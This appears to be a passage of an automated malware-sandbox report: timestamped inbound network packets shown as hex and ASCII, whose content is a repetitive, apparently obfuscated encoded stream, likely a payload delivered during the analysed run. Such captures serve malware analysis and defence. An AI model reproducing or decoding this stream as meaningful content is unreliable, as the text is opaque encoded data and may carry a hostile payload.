2021-10-29 18:11:00 UTC	2681	IN	Data Raw: 20 78 20 74 59 20 78 20 52 59 20 78 20 74 45 20 78 20 52 59 20 78 20 4f 78 45 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 52 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 4f 51 20 78 20 52 52 20 78 20 4f 4f 74 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 4f 20 78 20 52 59 20 78 20 74 45 20 78 20 52 59 20 78 20 4f 78 45 20 78 20 74 45 20 78 20 6b 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 52 20 78 20 6b 51 20 78 20 52 59 20 78 20 4f 78 45 20 78 20 52 74 20 78 20 52 59 20 78 20 4f 78 4b 20 78 20 4f Data Ascii: x tY x RY x tE x RY x OxE x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RR x RY x RY x RY x RY x RY x RY x RY x RY x OOQ x RR x OOt x RY x RY x RY x RY x kO x RY x tE x RY x OxE x tE x kY x RY x RY x RY x RR x kQ x RY x OxE x Rt x RY x OxK x O
2021-10-29 18:11:00 UTC	2682	IN	Data Raw: 78 20 4f 4f 51 20 78 20 52 74 20 78 20 52 59 20 78 20 74 45 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 74 59 20 78 20 4f 78 45 20 78 20 52 6b 20 78 20 52 59 20 78 20 74 45 20 78 20 52 59 20 78 20 4f 78 52 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 4f 51 20 78 20 52 59 20 78 20 74 74 20 78 20 52 59 20 78 20 4f 78 45 20 78 20 52 74 20 78 20 6b 51 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 6b 20 78 20 6b 51 20 78 20 52 59 20 78 20 4f 4f 51 20 78 20 52 74 20 78 20 52 59 20 78 20 74 4b 20 78 20 4f 4f 51 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 78 20 78 20 52 59 20 78 20 52 6b 20 78 20 52 59 20 78 20 74 45 20 78 20 52 59 20 78 20 4f 4f 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 Data Ascii: x OOQ x Rt x RY x tE x RY x RY x RY x RY x tY x OxE x Rk x RY x tE x RY x OxR x RY x RY x RY x RY x OOQ x RY x tt x RY x OxE x Rt x kQ x RY x RY x RY x Rk x kQ x RY x OOQ x Rt x RY x tK x OOQ x RY x RY x RY x kx x RY x Rk x RY x tE x RY x OOO x RY x RY x
2021-10-29 18:11:00 UTC	2683	IN	Data Raw: 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 51 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 51 20 78 20 52 59 20 78 20 74 78 20 78 20 52 59 20 78 20 74 45 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 Data Ascii: x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x kO x RY x RY x RY x RY x RY x RY x RY x RQ x RY x RY x kO x RY x RY x RY x RQ x RY x tx x RY x tE x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x kO x RY x RY x RY x RY x RY x RY
2021-10-29 18:11:00 UTC	2685	IN	Data Raw: 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 51 20 78 20 52 59 20 78 20 52 74 20 78 20 6b 4f 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 74 74 20 78 20 4f 78 45 20 78 20 74 78 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 51 20 78 20 52 59 20 78 20 52 74 20 78 20 6b 4f 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 74 6b 20 78 20 4f 78 45 20 78 20 74 78 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 Data Ascii: RY x RY x RY x RY x RQ x RY x Rt x kO x kO x RY x RY x tt x OxE x tx x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x kO x RY x RY x RY x RY x RY x RY x RY x RQ x RY x Rt x kO x kO x RY x RY x tk x OxE x tx x RY x RY x RY x RY x RY
2021-10-29 18:11:00 UTC	2686	IN	Data Raw: 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 51 20 78 20 52 59 20 78 20 52 74 20 78 20 6b 4f 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 52 51 20 78 20 4f 78 45 20 78 20 74 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 51 20 78 20 52 59 20 78 20 52 74 20 78 20 6b 4f 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 74 78 20 78 20 4f 78 45 20 78 20 74 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 Data Ascii: x RY x RY x RY x RY x RY x RQ x RY x Rt x kO x kO x RY x RY x RQ x OxE x tO x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x kO x RY x RY x RY x RY x RY x RY x RY x RQ x RY x Rt x kO x kO x RY x RY x tx x OxE x tO x RY x RY x RY x
2021-10-29 18:11:00 UTC	2687	IN	Data Raw: 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 51 20 78 20 52 59 20 78 20 52 74 20 78 20 6b 4f 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 74 6b 20 78 20 4f 78 45 20 78 20 74 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 Data Ascii: x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x kO x RY x RY x RY x RY x RY x RY x RY x RQ x RY x Rt x kO x kO x RY x RY x tk x OxE x tO x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x kO x RY x RY x RY x RY x R
2021-10-29 18:11:00 UTC	2689	IN	Data Raw: 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 51 20 78 20 52 59 20 78 20 52 6b 20 78 20 6b 4f 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 74 78 20 78 20 4f 78 45 20 78 20 74 6f 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 51 20 78 20 52 59 20 78 20 52 74 20 78 20 6b 4f 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 74 4f 20 78 20 4f 78 45 20 78 20 74 6f 20 78 20 52 59 20 78 20 52 59 20 78 20 52 52 20 78 20 59 Data Ascii: x RY x RY x RY x RY x RY x RQ x RY x Rk x kO x kO x RY x RY x tx x OxE x to x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x kO x RY x RY x RY x RY x RY x RY x RY x RQ x RY x Rt x kO x kO x RY x RY x tO x OxE x to x RY x RY x RR x Y
2021-10-29 18:11:00 UTC	2690	IN	Data Raw: 20 78 20 6b 51 20 78 20 52 74 20 78 20 52 59 20 78 20 52 59 20 78 20 52 6b 20 78 20 4f 78 74 20 78 20 52 52 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 74 20 78 20 52 59 20 78 20 74 51 20 78 20 52 59 20 78 20 4f 78 45 20 78 20 52 6b 20 78 20 51 74 20 78 20 52 74 20 78 20 4f 4f 51 20 78 20 52 59 20 78 20 52 59 20 78 20 59 45 20 78 20 52 59 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 6b 20 78 20 59 52 20 78 20 74 4f 20 78 20 6b 4f 20 78 20 74 45 20 78 20 52 59 20 78 20 4b 45 20 78 20 4f 78 45 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 74 51 20 78 20 6b 4f 20 78 20 52 51 20 Data Ascii: x kQ x Rt x RY x RY x Rk x Oxt x RR x RY x RY x RY x RY x RY x RY x RY x RY x Rt x RY x tQ x RY x OxE x Rk x Qt x Rt x OOQ x RY x RY x YE x RY x kO x RY x RY x RY x RY x RY x RY x RY x Rk x YR x tO x kO x tE x RY x KE x OxE x RY x RY x RY x tQ x kO x RQ
2021-10-29 18:11:00 UTC	2691	IN	Data Raw: 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 4f 51 20 78 20 4f 78 51 20 78 20 52 59 20 78 20 4f 78 45 20 78 20 52 74 20 78 20 6b 74 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 59 45 20 78 20 52 59 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 74 20 78 20 4f 78 74 20 78 20 74 4b 20 78 20 4f 78 45 20 78 20 74 45 20 78 20 52 59 20 78 20 6b 4b 20 78 20 4f 78 45 20 78 20 52 51 20 78 20 52 59 20 78 20 52 59 20 78 20 74 51 20 78 20 6b 4f 20 78 20 52 51 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 59 74 20 78 20 52 74 20 78 20 51 51 20 78 20 52 74 20 78 20 Data Ascii: Y x RY x RY x RY x OOQ x OxQ x RY x OxE x Rt x kt x RY x RY x RY x RY x YE x RY x kO x RY x RY x RY x RY x RY x RY x RY x Rt x Oxt x tK x OxE x tE x RY x kK x OxE x RQ x RY x RY x tQ x kO x RQ x RY x RY x RY x RY x RY x RY x RY x RY x Yt x Rt x QQ x Rt x
2021-10-29 18:11:00 UTC	2693	IN	Data Raw: 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 51 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 Data Ascii: x RY x RY x RY x RQ x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x Kt x Kt x Kt x Kt x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY
2021-10-29 18:11:00 UTC	2694	IN	Data Raw: 4b 74 20 78 20 4b 74 20 78 20 4b 45 20 78 20 52 59 20 78 20 52 52 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 78 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4f 4f 51 20 78 20 52 59 20 78 20 52 6b 20 78 20 4b 74 20 78 20 4b 74 20 78 20 59 6f 20 78 20 52 59 20 78 20 52 59 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 45 20 78 20 52 59 20 78 20 52 59 20 78 20 74 6f 20 78 20 4b 74 20 78 20 4b 74 20 78 20 52 59 20 78 20 52 59 20 78 20 52 52 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4f 4f 51 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 78 6f 20 78 20 4b 74 20 78 20 59 6f 20 78 20 52 59 20 78 20 52 59 20 78 20 74 6f 20 78 20 4b 74 20 78 20 4b 45 20 78 20 52 51 20 78 20 52 59 20 78 20 52 52 20 78 20 4b 74 20 78 20 4b 74 20 78 20 52 6b Data Ascii: Kt x Kt x KE x RY x RR x Kt x Kt x Kt x RY x RY x kx x Kt x Kt x OOQ x RY x Rk x Kt x Kt x Yo x RY x RY x Kt x Kt x KE x RY x RY x to x Kt x Kt x RY x RY x RR x Kt x Kt x OOQ x RY x RY x Oxo x Kt x Yo x RY x RY x to x Kt x KE x RQ x RY x RR x Kt x Kt x Rk
2021-10-29 18:11:00 UTC	2695	IN	Data Raw: 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 78 74 20 78 20 74 78 20 78 20 59 74 20 78 20 51 74 20 78 20 4f 78 52 20 78 20 74 78 20 78 20 4f 6f 78 20 78 20 51 78 20 78 20 4f 78 52 20 78 20 74 78 20 78 20 4f 6f 78 20 78 20 51 78 20 78 20 4f 78 52 20 78 20 74 78 20 78 20 4f 6f 78 20 78 20 51 78 Data Ascii: RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x Oxt x tx x Yt x Qt x OxR x tx x Oox x Qx x OxR x tx x Oox x Qx x OxR x tx x Oox x Qx
2021-10-29 18:11:00 UTC	2697	IN	Data Raw: 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 Data Ascii: x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY
2021-10-29 18:11:00 UTC	2698	IN	Data Raw: 74 20 78 20 6b 45 20 78 20 59 4b 20 78 20 6b 51 20 78 20 52 51 20 78 20 4f 78 45 20 78 20 4f 4f 51 20 78 20 6b 51 20 78 20 52 51 20 78 20 4f 78 45 20 78 20 4f 4f 51 20 78 20 6b 51 20 78 20 52 51 20 78 20 4f 78 45 20 78 20 4f 4f 51 20 78 20 6b 51 20 78 20 52 51 20 78 20 4f 78 45 20 78 20 4f 4f 51 20 78 20 6b 51 20 78 20 52 51 20 78 20 4f 78 45 20 78 20 4f 4f 51 20 78 20 6b 51 20 78 20 52 51 20 78 20 4f 78 45 20 78 20 4f 4f 51 20 78 20 6b 51 20 78 20 52 51 20 78 20 4f 78 45 20 78 20 4f 4f 51 20 78 20 6b 51 20 78 20 52 51 20 78 20 4f 78 45 20 78 20 4f 4f 51 20 78 20 6b 51 20 78 20 52 51 20 78 20 4f 78 45 20 78 20 4f 4f 51 20 78 20 6b 51 20 78 20 52 51 20 78 20 4f 78 45 20 78 20 4f 4f 51 20 78 20 6b 51 20 78 20 52 51 20 78 20 4f 78 45 20 78 20 4f 4f 51 20 78 Data Ascii: t x kE x YK x kQ x RQ x OxE x OOQ x kQ x RQ x OxE x OOQ x kQ x RQ x OxE x OOQ x kQ x RQ x OxE x OOQ x kQ x RQ x OxE x OOQ x kQ x RQ x OxE x OOQ x kQ x RQ x OxE x OOQ x kQ x RQ x OxE x OOQ x kQ x RQ x OxE x OOQ x kQ x RQ x OxE x OOQ x kQ x RQ x OxE x OOQ x
2021-10-29 18:11:00 UTC	2699	IN	Data Raw: 78 20 74 78 20 78 20 4f 6f 78 20 78 20 51 78 20 78 20 59 52 20 78 20 4f 4f 59 20 78 20 4f 4f 6b 20 78 20 52 59 20 78 20 4b 74 20 78 20 59 52 20 78 20 4b 74 20 78 20 52 59 20 78 20 4b 74 20 78 20 59 52 20 78 20 4f 6f 4f 20 78 20 59 4b 20 78 20 4b 74 20 78 20 59 52 20 78 20 4f 4f 45 20 78 20 59 4f 20 78 20 4b 74 20 78 20 59 52 20 78 20 4f 78 51 20 78 20 4b 6b 20 78 20 4b 74 20 78 20 59 52 20 78 20 51 74 20 78 20 4f 4f 51 20 78 20 4b 74 20 78 20 59 52 20 78 20 6b 74 20 78 20 4f 4f 59 20 78 20 4b 74 20 78 20 59 52 20 78 20 74 59 20 78 20 4f 4f 78 20 78 20 4b 74 20 78 20 59 52 20 78 20 6b 45 20 78 20 51 78 20 78 20 4b 74 20 78 20 59 52 20 78 20 52 74 20 78 20 6b 52 20 78 20 51 51 20 78 20 52 51 20 78 20 52 59 20 78 20 4b 74 20 78 20 52 59 20 78 20 52 59 20 78 Data Ascii: x tx x Oox x Qx x YR x OOY x OOk x RY x Kt x YR x Kt x RY x Kt x YR x OoO x YK x Kt x YR x OOE x YO x Kt x YR x OxQ x Kk x Kt x YR x Qt x OOQ x Kt x YR x kt x OOY x Kt x YR x tY x OOx x Kt x YR x kE x Qx x Kt x YR x Rt x kR x QQ x RQ x RY x Kt x RY x RY x
2021-10-29 18:11:00 UTC	2701	IN	Data Raw: 52 59 20 78 20 74 6b 20 78 20 6b 52 20 78 20 6b 52 20 78 20 59 74 20 78 20 74 6b 20 78 20 6b 52 20 78 20 6b 52 20 78 20 59 74 20 78 20 74 6b 20 78 20 6b 52 20 78 20 6b 52 20 78 20 59 74 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 59 6f 20 78 20 59 59 20 78 20 51 78 20 78 20 59 59 20 78 20 59 45 20 78 20 6b 4b 20 78 20 4f 78 45 20 78 20 4b 74 20 78 20 59 45 20 78 20 6b 4b 20 78 20 4f 78 45 20 78 20 4b 74 20 78 20 59 45 20 78 20 6b 4b 20 78 20 4f 78 45 20 78 20 4b 74 20 78 20 74 6b 20 78 20 6b 52 20 78 20 6b 52 20 78 20 59 74 20 78 20 4f 78 45 20 78 20 4f 4f 6f 20 78 20 51 74 20 78 20 4f 4f 74 20 78 20 4f 78 74 20 Data Ascii: RY x tk x kR x kR x Yt x tk x kR x kR x Yt x tk x kR x kR x Yt x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x Yo x YY x Qx x YY x YE x kK x OxE x Kt x YE x kK x OxE x Kt x YE x kK x OxE x Kt x tk x kR x kR x Yt x OxE x OOo x Qt x OOt x Oxt
2021-10-29 18:11:00 UTC	2702	IN	Data Raw: 20 4f 4f 4b 20 78 20 6b 6b 20 78 20 74 6b 20 78 20 4f 6f 6f 20 78 20 4f 6f 6f 20 78 20 4f 4f 59 20 78 20 59 59 20 78 20 74 51 20 78 20 4b 45 20 78 20 4f 4f 6b 20 78 20 4f 4f 4b 20 78 20 59 4b 20 78 20 59 4b 20 78 20 4b 45 20 78 20 4f 4f 6b 20 78 20 4f 4f 4b 20 78 20 4f 78 45 20 78 20 6b 6f 20 78 20 59 6f 20 78 20 4f 78 4f 20 78 20 4f 78 45 20 78 20 6b 6f 20 78 20 59 6f 20 78 20 4f 78 4f 20 78 20 4f 4f 6b 20 78 20 6b 59 20 78 20 4f 4f 52 20 78 20 74 52 20 78 20 4f 78 45 20 78 20 6b 4b 20 78 20 6b 4f 20 78 20 4b 6b 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 Data Ascii: OOK x kk x tk x Ooo x Ooo x OOY x YY x tQ x KE x OOk x OOK x YK x YK x KE x OOk x OOK x OxE x ko x Yo x OxO x OxE x ko x Yo x OxO x OOk x kY x OOR x tR x OxE x kK x kO x Kk x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x
2021-10-29 18:11:00 UTC	2703	IN	Data Raw: 78 20 4f 78 6b 20 78 20 52 74 20 78 20 59 4b 20 78 20 4f 4f 59 20 78 20 4f 78 4f 20 78 20 6b 4f 20 78 20 4b 74 20 78 20 59 52 20 78 20 4f 4f 45 20 78 20 51 78 20 78 20 4b 74 20 78 20 59 52 20 78 20 6b 74 20 78 20 74 74 20 78 20 4b 74 20 78 20 59 52 20 78 20 6b 74 20 78 20 74 74 20 78 20 4f 78 6f 20 78 20 4f 78 74 20 78 20 4f 4f 52 20 78 20 74 6f 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 Data Ascii: x Oxk x Rt x YK x OOY x OxO x kO x Kt x YR x OOE x Qx x Kt x YR x kt x tt x Kt x YR x kt x tt x Oxo x Oxt x OOR x to x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x R
2021-10-29 18:11:00 UTC	2705	IN	Data Raw: 4b 74 20 78 20 59 52 20 78 20 6b 74 20 78 20 6b 4f 20 78 20 4b 74 20 78 20 59 52 20 78 20 6b 74 20 78 20 74 51 20 78 20 4b 74 20 78 20 59 52 20 78 20 74 59 20 78 20 74 59 20 78 20 4b 74 20 78 20 59 59 20 78 20 74 4f 20 78 20 4f 4f 78 20 78 20 4f 78 51 20 78 20 4f 78 51 20 78 20 74 4b 20 78 20 6b 6b 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 59 78 20 78 20 74 74 20 78 20 4f 4f 78 20 78 20 52 51 20 78 20 4b 74 20 78 20 4f 4f 6b 20 78 20 59 59 20 78 20 4f 4f 51 20 78 20 4b 74 20 78 20 4f 4f 6b 20 78 20 59 59 20 78 20 4f 4f 51 20 78 20 4b 74 20 78 20 4f 4f 6b 20 78 20 4f 78 52 20 78 20 4f 4f 51 20 78 20 4b 74 20 78 20 4f 4f 6b 20 78 20 52 6b 20 78 20 4f 78 45 20 78 20 59 52 Data Ascii: Kt x YR x kt x kO x Kt x YR x kt x tQ x Kt x YR x tY x tY x Kt x YY x tO x OOx x OxQ x OxQ x tK x kk x RY x RY x RY x RY x RY x RY x RY x RY x Yx x tt x OOx x RQ x Kt x OOk x YY x OOQ x Kt x OOk x YY x OOQ x Kt x OOk x OxR x OOQ x Kt x OOk x Rk x OxE x YR
2021-10-29 18:11:00 UTC	2706	IN	Data Raw: 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 45 20 78 20 59 59 20 78 20 59 4f 20 78 20 4b 74 20 78 20 6b 59 20 78 20 74 4b 20 78 20 4b 74 20 78 20 51 51 20 78 20 74 74 20 78 20 59 78 20 78 20 52 74 20 78 20 59 4f 20 78 20 4f 78 4f 20 78 20 74 4f 20 78 20 4f 78 4f 20 78 20 74 52 20 78 20 4b 45 20 78 20 74 6b 20 78 20 59 59 20 78 20 74 4b 20 78 20 59 59 20 78 20 4f 4f 59 20 78 20 4f 6f 4f 20 78 20 4b 51 20 78 20 59 4b 20 78 20 51 51 20 78 20 52 74 20 78 20 4f 4f Data Ascii: Y x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x kE x YY x YO x Kt x kY x tK x Kt x QQ x tt x Yx x Rt x YO x OxO x tO x OxO x tR x KE x tk x YY x tK x YY x OOY x OoO x KQ x YK x QQ x Rt x OO
